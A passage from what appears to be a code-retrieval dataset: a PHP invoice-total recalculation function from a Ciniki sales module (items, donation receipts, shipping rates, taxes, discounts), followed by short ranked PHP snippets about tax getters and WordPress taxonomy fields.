{\n $invoice['tax_location_id'] = $rc['customer']['tax_location_id'];\n }\n }\n\n //\n // Get the items from the invoice\n //\n $strsql = \"SELECT id, \"\n . \"flags, \"\n . \"quantity, \"\n . \"unit_preorder_amount, \"\n . \"shipped_quantity, \"\n . \"discount_amount, \"\n . \"total_amount, \"\n . \"unit_donation_amount, \"\n . \"taxtype_id \"\n . \"FROM ciniki_sapos_invoice_items \"\n . \"WHERE ciniki_sapos_invoice_items.invoice_id = '\" . ciniki_core_dbQuote($ciniki, $invoice_id) . \"' \"\n . \"AND ciniki_sapos_invoice_items.tnid = '\" . ciniki_core_dbQuote($ciniki, $tnid) . \"' \"\n . \"\";\n $rc = ciniki_core_dbHashQuery($ciniki, $strsql, 'ciniki.sapos', 'item');\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n if( isset($rc['rows']) ) {\n $items = $rc['rows'];\n } else {\n $items = array();\n }\n\n $invoice_preorder_subtotal_amount = 0;\n $invoice_preorder_shipping_amount = 0;\n $invoice_preorder_total_amount = 0;\n $invoice_subtotal_amount = 0;\n $invoice_shipping_amount = 0;\n $invoice_total_savings = 0;\n\n //\n // Build the hash of invoice details and items to pass to ciniki.taxes for tax calculations\n //\n $preorder_status = $invoice['preorder_status'];\n $shipping_status = $invoice['shipping_status'];\n $donation_amount = 0;\n $shipping_required = 'no';\n $preorder_shipping_required = 'no';\n $invoice_taxtype_id = 0;\n if( count($items) > 0 ) {\n foreach($items as $iid => $item) {\n if( ($item['flags']&0x0400) == 0x0400 && $preorder_status < 30 ) {\n $preorder_status = 10;\n }\n if( ($item['flags']&0x0440) == 0x0440 ) {\n $preorder_shipping_required = 'yes';\n } elseif( ($item['flags']&0x0440) == 0x0040 ) {\n $shipping_required = 'yes';\n }\n if( $item['taxtype_id'] != 0 && $item['taxtype_id'] != $invoice_taxtype_id ) {\n $invoice_taxtype_id = $item['taxtype_id'];\n }\n if( ($item['flags']&0x8000) == 0x8000 ) {\n $donation_amount = bcadd($donation_amount, $item['total_amount'], 6);\n }\n if( ($item['flags']&0x0800) == 0x0800 && $item['unit_donation_amount'] > 0 ) {\n $donation_amount = bcadd($donation_amount, ($item['quantity'] * $item['unit_donation_amount']), 6);\n }\n $invoice['items'][] = array(\n 'id'=>$item['id'],\n 'amount'=>$item['total_amount'],\n 'preorder_amount'=>bcmul($item['unit_preorder_amount'], $item['quantity'], 2),\n 'taxtype_id'=>$item['taxtype_id'],\n );\n $invoice_preorder_subtotal_amount = bcadd($invoice_preorder_subtotal_amount, \n bcmul($item['unit_preorder_amount'], $item['quantity'], 2), 4);\n $invoice_subtotal_amount = bcadd($invoice_subtotal_amount, $item['total_amount'], 4);\n $invoice_total_savings = bcadd($invoice_total_savings, $item['discount_amount'], 4);\n // Check if shipping item\n if( ($item['flags']&0x0440) == 0x0040 ) {\n // Item shipping and NOT POS checkout\n if( $item['shipped_quantity'] < $item['quantity'] && $invoice['invoice_type'] != 30 ) { \n $shipping_status = 10;\n }\n }\n }\n }\n\n //\n // Check if invoice should have a receipt_number\n //\n if( $donation_amount > 0 && ($invoice['invoice_type'] == 10 || $invoice['invoice_type'] == 30)\n && ($invoice['receipt_number'] == '' || $invoice['receipt_number'] == 0) \n ) {\n $strsql = \"SELECT detail_value \"\n . \"FROM ciniki_sapos_settings \"\n . \"WHERE detail_key = 'donation-receipt-next-number' \"\n . \"AND tnid = '\" . ciniki_core_dbQuote($ciniki, $tnid) . \"' \"\n . \"\";\n $rc = ciniki_core_dbHashQuery($ciniki, $strsql, 'ciniki.sapos', 'item');\n if( $rc['stat'] != 'ok' ) {\n return array('stat'=>'fail', 'err'=>array('code'=>'ciniki.sapos.388', 'msg'=>'Unable to load donation number', 'err'=>$rc['err']));\n }\n $receipt_number = isset($rc['item']['detail_value']) ? $rc['item']['detail_value'] : 1;\n \n $strsql = \"SELECT MAX(CAST(receipt_number AS UNSIGNED)) AS max_num \"\n . \"FROM ciniki_sapos_invoices \"\n . \"WHERE ciniki_sapos_invoices.tnid = '\" . ciniki_core_dbQuote($ciniki, $tnid) . \"' \"\n . \"\";\n $rc = ciniki_core_dbHashQuery($ciniki, $strsql, 'ciniki.sapos', 'num');\n if( $rc['stat'] != 'ok' ) {\n return array('stat'=>'fail', 'err'=>array('code'=>'ciniki.sapos.225', 'msg'=>'Unable to find next available receipt number', 'err'=>$rc['err']));\n }\n if( isset($rc['num']['max_num']) && ($rc['num']['max_num']+1) > $receipt_number ) {\n $receipt_number = $rc['num']['max_num'] + 1;\n }\n //\n // Update settings with next receipt number\n //\n $next_receipt_number = $receipt_number + 1;\n $strsql = \"INSERT INTO ciniki_sapos_settings (tnid, detail_key, detail_value, date_added, last_updated) \"\n . \"VALUES ('\" . ciniki_core_dbQuote($ciniki, $tnid) . \"'\"\n . \", 'donation-receipt-next-number'\"\n . \", '\" . ciniki_core_dbQuote($ciniki, $next_receipt_number) . \"'\"\n . \", UTC_TIMESTAMP(), UTC_TIMESTAMP()) \"\n . \"ON DUPLICATE KEY UPDATE detail_value = '\" . ciniki_core_dbQuote($ciniki, $next_receipt_number) . \"' \"\n . \", last_updated = UTC_TIMESTAMP() \"\n . \"\";\n $rc = ciniki_core_dbInsert($ciniki, $strsql, 'ciniki.sapos');\n if( $rc['stat'] != 'ok' ) {\n ciniki_core_dbTransactionRollback($ciniki, 'ciniki.sapos');\n return $rc;\n }\n ciniki_core_dbAddModuleHistory($ciniki, 'ciniki.sapos', 'ciniki_sapos_history', $tnid, \n 2, 'ciniki_sapos_settings', 'donation-receipt-next-number', 'detail_value', $next_receipt_number);\n }\n \n //\n // Calculate shipping costs, using simple ship rates\n //\n if( ($shipping_required == 'yes' || $preorder_shipping_required == 'yes') \n && ciniki_core_checkModuleFlags($ciniki, 'ciniki.sapos', 0x10000000) \n && $invoice['customer_id'] > 0 \n ) {\n //\n // Load the shipping rates\n //\n $strsql = \"SELECT ciniki_sapos_simpleshiprates.id, \"\n . \"ciniki_sapos_simpleshiprates.country, \"\n . \"ciniki_sapos_simpleshiprates.province, \"\n . \"ciniki_sapos_simpleshiprates.city, \"\n . \"ciniki_sapos_simpleshiprates.minimum_amount, \"\n . \"ciniki_sapos_simpleshiprates.rate \"\n . \"FROM ciniki_sapos_simpleshiprates \"\n . \"WHERE ciniki_sapos_simpleshiprates.tnid = '\" . ciniki_core_dbQuote($ciniki, $tnid) . \"' \"\n . \"AND (country = '' OR country = '\" . ciniki_core_dbQuote($ciniki, $invoice['shipping_country']) . \"') \"\n . \"AND (province = '' OR province = '\" . ciniki_core_dbQuote($ciniki, $invoice['shipping_province']) . \"') \"\n . \"AND (city = '' OR city = '\" . ciniki_core_dbQuote($ciniki, $invoice['shipping_city']) . \"') \"\n . \"ORDER BY country, province, city, minimum_amount, rate \"\n . \"\";\n $rc = ciniki_core_dbHashQuery($ciniki, $strsql, 'ciniki.sapos', 'item');\n if( $rc['stat'] != 'ok' ) {\n return array('stat'=>'fail', 'err'=>array('code'=>'ciniki.sapos.285', 'msg'=>'Unable to load item', 'err'=>$rc['err']));\n }\n\n $rates = isset($rc['rows']) ? $rc['rows'] : array();\n\n $new_ship = ($shipping_required == 'yes' ? 99999.99 : 0);\n $new_preorder_ship = ($preorder_shipping_required == 'yes' ? 99999.99 : 0);\n foreach($rates as $rate) {\n if( $rate['minimum_amount'] <= $invoice_subtotal_amount && $rate['rate'] < $new_ship ) {\n $new_ship = $rate['rate'];\n }\n if( $invoice_preorder_subtotal_amount > 0 \n && $rate['minimum_amount'] <= $invoice_preorder_subtotal_amount \n && $rate['rate'] < $new_preorder_ship\n ) {\n $new_preorder_ship = $rate['rate'];\n }\n }\n if( $new_ship != 99999.99 ) {\n $invoice_shipping_amount = $new_ship;\n }\n if( $new_preorder_ship != 99999.99 ) {\n $invoice_preorder_shipping_amount = $new_preorder_ship;\n }\n }\n\n //\n // Check if only instore pickup offered and shipping is required\n //\n if( ($shipping_required == 'yes' || $preorder_shipping_required == 'yes') \n && !ciniki_core_checkModuleFlags($ciniki, 'ciniki.sapos', 0x40) \n && !ciniki_core_checkModuleFlags($ciniki, 'ciniki.sapos', 0x10000000) \n && ciniki_core_checkModuleFlags($ciniki, 'ciniki.sapos', 0x20000000) \n && $invoice['customer_id'] > 0 \n && $shipping_status <= 10\n// Removed Jun 4, 2022 to allow for checkout to be used for phone in purchases that required pickup\n// && $invoice['invoice_type'] != 30 \n ) {\n $new_shipping_amount = 0;\n $shipping_status = 20;\n }\n\n //\n // Pass to the taxes module to calculate the taxes\n //\n $tax_args = $invoice;\n $tax_args['shipping_amount'] = $invoice_shipping_amount;\n $tax_args['preorder_shipping_amount'] = $invoice_preorder_shipping_amount;\n $tax_args['taxtype_id'] = $invoice_taxtype_id;\n ciniki_core_loadMethod($ciniki, 'ciniki', 'taxes', 'private', 'calcInvoiceTaxes');\n $rc = ciniki_taxes_calcInvoiceTaxes($ciniki, $tnid, $tax_args);\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n $new_taxes = $rc['taxes'];\n $new_preorder_taxes = isset($rc['preorder_taxes']) ? $rc['preorder_taxes'] : array();\n\n //\n // Get the existing taxes for the invoice\n //\n $strsql = \"SELECT id, uuid, flags, taxrate_id, description, amount \"\n . \"FROM ciniki_sapos_invoice_taxes \"\n . \"WHERE ciniki_sapos_invoice_taxes.invoice_id = '\" . ciniki_core_dbQuote($ciniki, $invoice_id) . \"' \"\n . \"AND ciniki_sapos_invoice_taxes.tnid = '\" . ciniki_core_dbQuote($ciniki, $tnid) . \"' \"\n// . \"AND (ciniki_sapos_invoice_taxes.flags&0x02) = 0 \"\n . \"\";\n $rc = ciniki_core_dbHashIDQuery($ciniki, $strsql, 'ciniki.sapos', 'taxes', 'id');\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n\n $old_taxes = array();\n $old_preorder_taxes = array();\n if( isset($rc['taxes']) ) {\n foreach($rc['taxes'] as $tid => $tax) {\n if( ($tax['flags']&0x02) == 0x02 ) {\n $old_preorder_taxes[$tax['taxrate_id']] = $tax;\n } else {\n $old_taxes[$tax['taxrate_id']] = $tax;\n }\n }\n }\n \n //\n // Check if invoice taxes need to be updated or added \n //\n $invoice_tax_amount = 0;\n $included_tax_amount = 0;\n foreach($new_taxes as $tid => $tax) {\n $tax_amount = bcadd($tax['calculated_items_amount'], $tax['calculated_invoice_amount'], 4);\n if( isset($old_taxes[$tid]) ) {\n $args = array();\n if( $tax_amount != $old_taxes[$tid]['amount'] ) {\n $args['amount'] = $tax_amount;\n }\n // Check if the name is different, perhaps it was updated\n if( $tax['name'] != $old_taxes[$tid]['description'] ) {\n $args['description'] = $tax['name'];\n }\n if( count($args) > 0 ) {\n $rc = ciniki_core_objectUpdate($ciniki, $tnid, 'ciniki.sapos.invoice_tax', \n $old_taxes[$tid]['id'], $args, 0x04);\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n }\n } else {\n $rc = ciniki_core_objectAdd($ciniki, $tnid, 'ciniki.sapos.invoice_tax', \n array(\n 'invoice_id'=>$invoice_id,\n 'taxrate_id'=>$tid,\n 'flags'=>$tax['flags'],\n 'line_number'=>0,\n 'description'=>$tax['name'],\n 'amount'=>$tax_amount,\n ), 0x04);\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n }\n //\n // Keep track of the total taxes for the invoice\n //\n if( ($tax['flags']&0x01) == 0x01 ) {\n $included_tax_amount = bcadd($included_tax_amount, $tax_amount, 4);\n } else {\n $invoice_tax_amount = bcadd($invoice_tax_amount, $tax_amount, 4);\n }\n }\n\n //\n // Check if any taxes are no longer applicable\n //\n foreach($old_taxes as $tid => $tax) {\n if( !isset($new_taxes[$tid]) ) {\n // Remove the tax\n $rc = ciniki_core_objectDelete($ciniki, $tnid, 'ciniki.sapos.invoice_tax', $tax['id'], $tax['uuid'], 0x04);\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n }\n }\n\n //\n // Check preorder taxes\n //\n $invoice_preorder_tax_amount = 0;\n $included_preorder_tax_amount = 0;\n foreach($new_preorder_taxes as $tid => $tax) {\n $tax_amount = bcadd($tax['calculated_items_amount'], $tax['calculated_invoice_amount'], 4);\n if( isset($old_preorder_taxes[$tid]) ) {\n $args = array();\n if( $tax_amount != $old_preorder_taxes[$tid]['amount'] ) {\n $args['amount'] = $tax_amount;\n }\n // Check if the name is different, perhaps it was updated\n if( $tax['name'] != $old_preorder_taxes[$tid]['description'] ) {\n $args['description'] = $tax['name'];\n }\n if( count($args) > 0 ) {\n $rc = ciniki_core_objectUpdate($ciniki, $tnid, 'ciniki.sapos.invoice_tax', \n $old_preorder_taxes[$tid]['id'], $args, 0x04);\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n }\n } else {\n $rc = ciniki_core_objectAdd($ciniki, $tnid, 'ciniki.sapos.invoice_tax', \n array(\n 'invoice_id'=>$invoice_id,\n 'taxrate_id'=>$tid,\n 'flags'=> ($tax['flags'] | 0x02),\n 'line_number'=>0,\n 'description'=>$tax['name'],\n 'amount'=>$tax_amount,\n ), 0x04);\n if( $rc['stat'] != 'ok' ) {\n return array('stat'=>'fail', 'err'=>array('code'=>'ciniki.sapos.286', 'msg'=>'Unable to add tax', 'err'=>$rc['err']));\n }\n }\n //\n // Keep track of the total taxes for the invoice\n //\n if( ($tax['flags']&0x01) == 0x01 ) {\n $included_preorder_tax_amount = bcadd($included_preorder_tax_amount, $tax_amount, 4);\n } else {\n $invoice_preorder_tax_amount = bcadd($invoice_preorder_tax_amount, $tax_amount, 4);\n }\n }\n\n //\n // Check if any taxes are no longer applicable\n //\n foreach($old_preorder_taxes as $tid => $tax) {\n if( !isset($new_preorder_taxes[$tid]) ) {\n // Remove the tax\n $rc = ciniki_core_objectDelete($ciniki, $tnid, 'ciniki.sapos.invoice_tax', $tax['id'], $tax['uuid'], 0x04);\n if( $rc['stat'] != 'ok' ) {\n return array('stat'=>'fail', 'err'=>array('code'=>'ciniki.sapos.287', 'msg'=>'Unable to remove old tax', 'err'=>$rc['err']));\n }\n }\n }\n\n //\n // Check if there are any discounts to be applied for the entire invoice\n //\n $invoice_discount_amount = 0;\n if( $invoice['subtotal_discount_amount'] != 0 ) {\n $invoice_discount_amount = bcadd($invoice_discount_amount, $invoice['subtotal_discount_amount'], 4);\n }\n if( $invoice['subtotal_discount_percentage'] != 0 ) {\n $discount_percent = bcdiv($invoice['subtotal_discount_percentage'], 100, 4);\n if( $invoice_discount_amount > 0 ) {\n $discount_amount = bcmul(\n bcsub($invoice_subtotal_amount, $invoice_discount_amount, 4) , $discount_percent, 4);\n } else {\n $discount_amount = bcmul($invoice_subtotal_amount, $discount_percent, 4);\n }\n $invoice_discount_amount = bcadd($invoice_discount_amount, $discount_amount, 4);\n }\n \n //\n // Update the totals\n //\n $invoice_preorder_total_amount = bcadd($invoice_preorder_subtotal_amount, $invoice_preorder_shipping_amount, 4);\n $invoice_preorder_total_amount = bcadd($invoice_preorder_total_amount, $invoice_preorder_tax_amount, 4);\n\n // Subtract the discount, add the shipping amount, add the taxes\n $invoice_total_amount = bcsub($invoice_subtotal_amount, $invoice_discount_amount, 4);\n $invoice_total_amount = bcadd($invoice_total_amount, $invoice_shipping_amount, 4);\n $invoice_total_amount = bcadd($invoice_total_amount, $invoice_tax_amount, 4);\n\n $invoice_total_savings = bcadd($invoice_total_savings, $invoice_discount_amount, 4);\n\n $args = array();\n if( $shipping_status == 20 ) {\n $rc = ciniki_core_dbDetailsQueryDash($ciniki, 'ciniki_sapos_settings', 'tnid', $tnid, 'ciniki.sapos', 'settings', '');\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n $settings = isset($rc['settings'])?$rc['settings']:array();\n\n // Check if shipping_name set for pickups, could also be blank (Leave nested if)\n if( isset($settings['invoice-instore-pickup-name']) ) {\n if( $settings['invoice-instore-pickup-name'] != $invoice['shipping_name'] ) {\n $args['shipping_name'] = $settings['invoice-instore-pickup-name'];\n }\n } elseif( $invoice['shipping_name'] != 'In Store Pickup' ) {\n $args['shipping_name'] = 'In Store Pickup';\n }\n if( isset($settings['invoice-instore-pickup-address1']) \n && $settings['invoice-instore-pickup-address1'] != $invoice['shipping_address1'] \n ) {\n $args['shipping_address1'] = $settings['invoice-instore-pickup-address1'];\n }\n if( isset($settings['invoice-instore-pickup-address2']) \n && $settings['invoice-instore-pickup-address2'] != $invoice['shipping_address2'] \n ) {\n $args['shipping_address2'] = $settings['invoice-instore-pickup-address2'];\n }\n if( isset($settings['invoice-instore-pickup-city']) \n && $settings['invoice-instore-pickup-city'] != $invoice['shipping_city'] \n ) {\n $args['shipping_city'] = $settings['invoice-instore-pickup-city'];\n }\n if( isset($settings['invoice-instore-pickup-province']) \n && $settings['invoice-instore-pickup-province'] != $invoice['shipping_province'] \n ) {\n $args['shipping_province'] = $settings['invoice-instore-pickup-province'];\n }\n if( isset($settings['invoice-instore-pickup-postal']) \n && $settings['invoice-instore-pickup-postal'] != $invoice['shipping_postal'] \n ) {\n $args['shipping_postal'] = $settings['invoice-instore-pickup-postal'];\n }\n if( isset($settings['invoice-instore-pickup-country']) \n && $settings['invoice-instore-pickup-country'] != $invoice['shipping_country'] \n ) {\n $args['shipping_country'] = $settings['invoice-instore-pickup-country'];\n }\n }\n\n //\n // Update the status fields of the invoice\n //\n if( $invoice_preorder_subtotal_amount != floatval($invoice['preorder_subtotal_amount']) ) {\n $args['preorder_subtotal_amount'] = $invoice_preorder_subtotal_amount;\n }\n if( $invoice_preorder_shipping_amount != floatval($invoice['preorder_shipping_amount']) ) {\n $args['preorder_shipping_amount'] = $invoice_preorder_shipping_amount;\n }\n if( $invoice_preorder_total_amount != floatval($invoice['preorder_total_amount']) ) {\n $args['preorder_total_amount'] = $invoice_preorder_total_amount;\n }\n if( $invoice_subtotal_amount != floatval($invoice['subtotal_amount']) ) {\n $args['subtotal_amount'] = $invoice_subtotal_amount;\n }\n if( $invoice_discount_amount != floatval($invoice['discount_amount']) ) {\n $args['discount_amount'] = $invoice_discount_amount;\n }\n if( $invoice_shipping_amount != floatval($invoice['shipping_amount']) ) {\n $args['shipping_amount'] = $invoice_shipping_amount;\n }\n if( $invoice_total_amount != floatval($invoice['total_amount']) ) {\n $args['total_amount'] = $invoice_total_amount;\n }\n if( $invoice_total_savings != floatval($invoice['total_savings']) ) {\n $args['total_savings'] = $invoice_total_savings;\n }\n if( $shipping_status != $invoice['shipping_status'] ) {\n $args['shipping_status'] = $shipping_status;\n }\n if( $preorder_status != $invoice['preorder_status'] ) {\n $args['preorder_status'] = $preorder_status;\n }\n if( isset($receipt_number) && $receipt_number != $invoice['receipt_number'] ) {\n $args['receipt_number'] = $receipt_number;\n }\n if( count($args) > 0 ) {\n $rc = ciniki_core_objectUpdate($ciniki, $tnid, 'ciniki.sapos.invoice', \n $invoice_id, $args, 0x04);\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n }\n\n return array('stat'=>'ok', 'total_amount'=>$invoice_total_amount);\n}", "title": "" }, { "docid": "bcec09994cb474a33d2c421c8aa63d75", "score": "0.43957853", "text": "public function getTaxCode()\n {\n return $this->tax_code;\n }", "title": "" }, { "docid": "52a60f950191641ae5eed5276373d37b", "score": "0.43921635", "text": "public function getTax() {\n\t\treturn $this->tax;\n\t}", "title": "" }, { "docid": "ce156c391c72af1d5f216c80813426eb", "score": "0.43912384", "text": "function tagTagTable($tags, $checked){//商品分類タグを3列のテーブルで出力\n\t\t$out = '<table class=\"tagtag\">';\n\t\t$out .= '<tr><th colspan=\"3\">Tag</th></tr>';\n\t\t$counter = 0;\n\t\tforeach($tags as $key=>$value){\n\t\t\t$counter++;\n\t\t\tif($counter == 1){\n\t\t\t\t$out .= '<tr>';\n\t\t\t}\n\t\t\t$out .= '<td>';\n\t\t\t$out .= '<input type=\"checkbox\" name=\"data[Tag][Tag][]\" ';\n\t\t\tif(isset($checked)){\n\t\t\t\tforeach($checked as $check_id){\n\t\t\t\t\tif($check_id['id'] == $key){\n\t\t\t\t\t\t$out .= ' checked=\"checked\" ';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$out .= 'value=\"'.$key.'\" id=\"TagTag'.$key.'\" /><label for=\"TagTag'.$key.'\">'.$value.'</label>';\n\t\t\t$out .= '</td>';\n\t\t\tif($counter == 3){\n\t\t\t\t$out .= '</tr>';\n\t\t\t\t$counter = 0;\n\t\t\t}\n\t\t}\n\t\tif($counter == 1){\n\t\t\t$out .= '<td></td><td></td></tr>';\n\t\t}elseif($counter == 2){\n\t\t\t$out .= '<td></td></tr>';\n\t\t}\n\t\t$out .= '</table>';\n\t\treturn $out;\n\t}", "title": "" }, { "docid": "972097e6b5e2d25d062a0698548a2e8b", "score": "0.4380474", "text": "public function alternateName($alternateName)\n {\n return $this->setProperty('alternateName', $alternateName);\n }", "title": "" }, { "docid": "f1df3016f850dce1bffe7800ec9838ae", "score": "0.43739104", "text": "public function alternatingTag()\n {\n return 'elsehandheld';\n }", "title": "" }, { "docid": "83594ffb3a26234863ecde93eda3049c", "score": "0.43646225", "text": "public function get_tax_meta($term_id,$key,$multi = false){\n $t_id = (is_object($term_id))? $term_id->term_id: $term_id;\n $m = get_option( 'tax_meta_'.$t_id);\n if (isset($m[$key])){\n return $m[$key];\n }else{\n return '';\n }\n }", "title": "" }, { "docid": "cfca3fc1593b49934dee62cb6672a171", "score": "0.4357075", "text": "public function get_tax() {\n\t\treturn $this->_tax;\n\t}", "title": "" }, { "docid": "ec60559ad0673c1c9f977eb971802b43", "score": "0.43500575", "text": "public function getTaxAttribute()\n{\n//MENDAPATKAN TAX 2% DARI TOTAL HARGA\nreturn ($this->total * 2) / 100;\n}", "title": "" }, { "docid": "81f63762884a10994f020ff62d2a6a2a", "score": "0.43486556", "text": "private function retrieve_ct_desc_custom_tax_name($var_to_replace)\n {\n }", "title": "" }, { "docid": "a21125902a2ac2ed379a63bd2827d47b", "score": "0.4345722", "text": "public function getOedtmstrtaxcode6()\n {\n return $this->oedtmstrtaxcode6;\n }", "title": "" }, { "docid": "825cb3f3634e2f994c19da7ebf0ab827", "score": "0.4332162", "text": "public function addTaxes($price_te)\t{\n return $price_te * (1 + ($this->getTotalRate() / 100));\n }", "title": "" }, { "docid": "695de8797055b8dbbeab3a43d860e345", "score": "0.4331265", "text": "function it_exchange_easy_us_sales_taxes_add_taxes_row_to_receipt() {\n\n\tif ( empty( $GLOBALS['it_exchange']['transaction'] ) ) {\n\t\treturn;\n\t}\n\n\t$transaction = $GLOBALS['it_exchange']['transaction'];\n\t?>\n\t<tr>\n\t\t<td></td>\n\t\t<td align=\"right\" style=\"padding: 10px; \">\n\t\t\t<strong><?php _e(' Tax', 'LION' ); ?></strong>\n\t\t</td>\n\t\t<td align=\"right\" style=\"padding: 10px 0 10px 10px; \">\n\t\t\t<?php echo it_exchange_easy_us_sales_taxes_addon_get_taxes_for_confirmation( $transaction ); ?>\n\t\t</td>\n\t</tr>\n\t<?php\n}", "title": "" }, { "docid": "2942b636976724f1527586e9eb2dec29", "score": "0.43058276", "text": "public function getTotalTaxAttribute();", "title": "" }, { "docid": "33406cc251400be2c107a4d182d9b77b", "score": "0.42966908", "text": "public function get02TaxeDue196() {\n return $this->_02TaxeDue196;\n }", "title": "" }, { "docid": "3a9c92e271d4a590c4ff04e3a9ecbacc", "score": "0.4293422", "text": "private function item_as_described_tag() {\n\t\treturn $this->review_data['item_as_described'];\n\t}", "title": "" }, { "docid": "37feeb51d8344b17813af85ff63f42c3", "score": "0.42912185", "text": "public function tag();", "title": "" }, { "docid": "0af3656e51661a46e6cf1b9b0ac6b4cf", "score": "0.42877808", "text": "public function is_tax($taxonomy = '', $term = '')\n {\n }", "title": "" }, { "docid": "e7653c061dd3a370349a2195c61ef475", "score": "0.42826748", "text": "function getTax($fmt='%0.2f%%')\n {\n return sprintf($fmt,$this->_sales_tax * 100);\n }", "title": "" }, { "docid": "608a02d2631c6bcb5a8bea3a8693a247", "score": "0.4278065", "text": "public function getTaxCalculator();", "title": "" }, { "docid": "979b66335d3bdeae8bcbb8e8683dfe0d", "score": "0.42682093", "text": "private function getAlias2Inner()\n\t{\n\t\treturn $this->getField2() . '_' . $this->getTable2()->getName();\n\t}", "title": "" }, { "docid": "ae0e7dccb30c0d8ac4f6b485247ba703", "score": "0.42658374", "text": "public function getDefaultTaxId()\n {\n }", "title": "" }, { "docid": "06e1f86667cc7612cc673d3a42030046", "score": "0.42657778", "text": "function tags_like_custom_tax(){\n $tax_name = 'issue';\n global $post;\n $taxonomy = get_taxonomy($tax_name);\n $disabled = !current_user_can($taxonomy->cap->assign_terms) ? 'disabled=\"disabled\"' : '';\n ?>\n <div class=\"tagsdiv\" id=\"<?php echo $tax_name; ?>\">\n <div class=\"jaxtag\">\n <div class=\"nojs-tags hide-if-js\">\n <p><?php echo $taxonomy->labels->add_or_remove_items; ?></p>\n <textarea name=\"<?php echo \"tax_input[$tax_name]\"; ?>\" rows=\"3\" cols=\"20\" class=\"the-tags\" id=\"tax-input-<?php echo $tax_name; ?>\" <?php echo $disabled; ?>><?php echo get_terms_to_edit( $post->ID, $tax_name ); // textarea_escaped by esc_attr() ?></textarea>\n </div>\n <?php if ( current_user_can($taxonomy->cap->assign_terms) ) { ?>\n <div class=\"ajaxtag hide-if-no-js\">\n <label class=\"screen-reader-text\" for=\"new-tag-<?php echo $tax_name; ?>\"><?php echo $taxonomy->labels->name; ?></label>\n <div class=\"taghint\"><?php echo $taxonomy->labels->add_new_item; ?></div>\n <p><input type=\"text\" id=\"new-tag-<?php echo $tax_name; ?>\" name=\"newtag[<?php echo $tax_name; ?>]\" class=\"newtag form-input-tip\" size=\"16\" autocomplete=\"off\" value=\"\" />\n <input type=\"button\" class=\"button tagadd\" value=\"<?php esc_attr_e('Add'); ?>\" tabindex=\"3\" /></p>\n </div>\n <p class=\"howto\"><?php echo esc_attr( $taxonomy->labels->separate_items_with_commas ); ?></p>\n <?php } ?>\n </div>\n <div class=\"tagchecklist\"></div>\n </div>\n <?php if ( current_user_can($taxonomy->cap->assign_terms) ) { ?>\n <p class=\"hide-if-no-js\"><a href=\"#titlediv\" class=\"tagcloud-link\" id=\"link-<?php echo $tax_name; ?>\"><?php echo $taxonomy->labels->choose_from_most_used; ?></a></p>\n <?php } \n}", "title": "" }, { "docid": "5eae168b9f0f217c09dafc44dd84bd96", "score": "0.42651233", "text": "public function tax()\n\t{\n\t\tif (isset($this->tax)) {\n\t\t\treturn $this->tax;\n\t\t}\n\n\t\tif (isset($this->data['unitTax'])) {\n\t\t\treturn $this->unitTax * $this->quantity;\n\t\t}\n\n\t\treturn round($this->subtotal() * $this->taxRate() / 100, 2);\n\t}", "title": "" }, { "docid": "fdf2d46f1654ff90aead663dac767b94", "score": "0.42543763", "text": "function tax_edit_term_fields( $term, $taxonomy ) {\n\t$value = get_term_meta( $term->term_id, 'dashicon-class', true );\n\t$sticky = get_term_meta( $term->term_id, 'sticky', true );\n\n\techo '<tr class=\"form-field\">\n\t<th>\n\t\t<label for=\"dashicon-class\">Dashicon ID</label>\n\t</th>\n\t<td>\n\t\t<input name=\"dashicon-class\" id=\"dashicon-class\" type=\"text\" value=\"' . esc_attr( $value ) . '\" />\n\t\t<p>Enter the id of a <a href=\"https://developer.wordpress.org/resource/dashicons/#wordpress\" target=\"_blank\">Dashicon</a>. Example: <code>wordpress</code></p>\n\t</td>\n\t</tr>\n\t<tr class=\"form-field\">\n\t<th>\n\t\t<label for=\"sticky\">Sticky topic</label>\n\t</th>\n\t<td>\n\t\t<input name=\"sticky\" id=\"sticky\" type=\"checkbox\" ' . esc_html( $sticky ? ' checked' : '' ) . ' />\n\t\t<p>Check to show on landing page</p>\n\t</td>\n\t</tr>\n\t';\n}", "title": "" }, { "docid": "05294bd7e777371136f7c5e017c7a4f5", "score": "0.42508143", "text": "protected function calculateTaxValue() {\n $this->taxValue = \\round($this->getSinglePrice() - ($this->getSinglePrice() / (1 + $this->getTax() / 100)), 2);\n }", "title": "" }, { "docid": "d1f06781ab3b71a8fc91f9466483bca0", "score": "0.42396042", "text": "function attributes_taxonomy_custom_fields($tag) {\n\t $t_id = $tag->term_id; // Get the ID of the term you're editing \n\t $term_meta = get_option( \"taxonomy_term_$t_id\" ); // Do the check \n\n\t?>\n\n\t<tr class=\"form-field\"> \n\t <th scope=\"row\" valign=\"top\"> \n\t <label for=\"presenter_id\"><?php _e('Attributes'); ?></label> \n\t </th> \n\t <td> \n\t <input type=\"text\" name=\"term_meta[attributes]\" id=\"term_meta[attributes]\" size=\"25\" style=\"width:60%;\" value=\"<?php echo $term_meta['attributes'] ? $term_meta['attributes'] : ''; ?>\"><br /> \n\t <span class=\"description\"><?php _e('List the attributes that can be set for this term seperated by commas'); ?></span> \n\t </td> \n\t</tr>\n\t \n\t<?php \n}", "title": "" }, { "docid": "214dcc2c1245d1afbf73e227e740217f", "score": "0.42209965", "text": "public function priceTax()\n {\n return $this->priceTax;\n }", "title": "" }, { "docid": "39a9ff0a5b823f9be7763492c6292af6", "score": "0.4219902", "text": "function wp_ajax_inline_save_tax() {}", "title": "" }, { "docid": "5666faec227e3ca25f5640ddf19dde0a", "score": "0.42189255", "text": "public function getTagName(): string\n {\n return \"mult\";\n }", "title": "" }, { "docid": "141d5bff383363e0a5ba204313d8e12d", "score": "0.42140505", "text": "protected function _getInventoryItemTableAlias()\n {\n return $this->_inventoryItemTableAlias;\n }", "title": "" }, { "docid": "c44e24d4e2be2219384f232a087a863a", "score": "0.42099068", "text": "public function tagname()\n {\n return $this->_node->nodeName;\n }", "title": "" }, { "docid": "1a14b2e68a80d18c8f6b0f9a6eaee8e0", "score": "0.4207381", "text": "function bcat_taxonomy_term_edit($tag, $taxonomy) 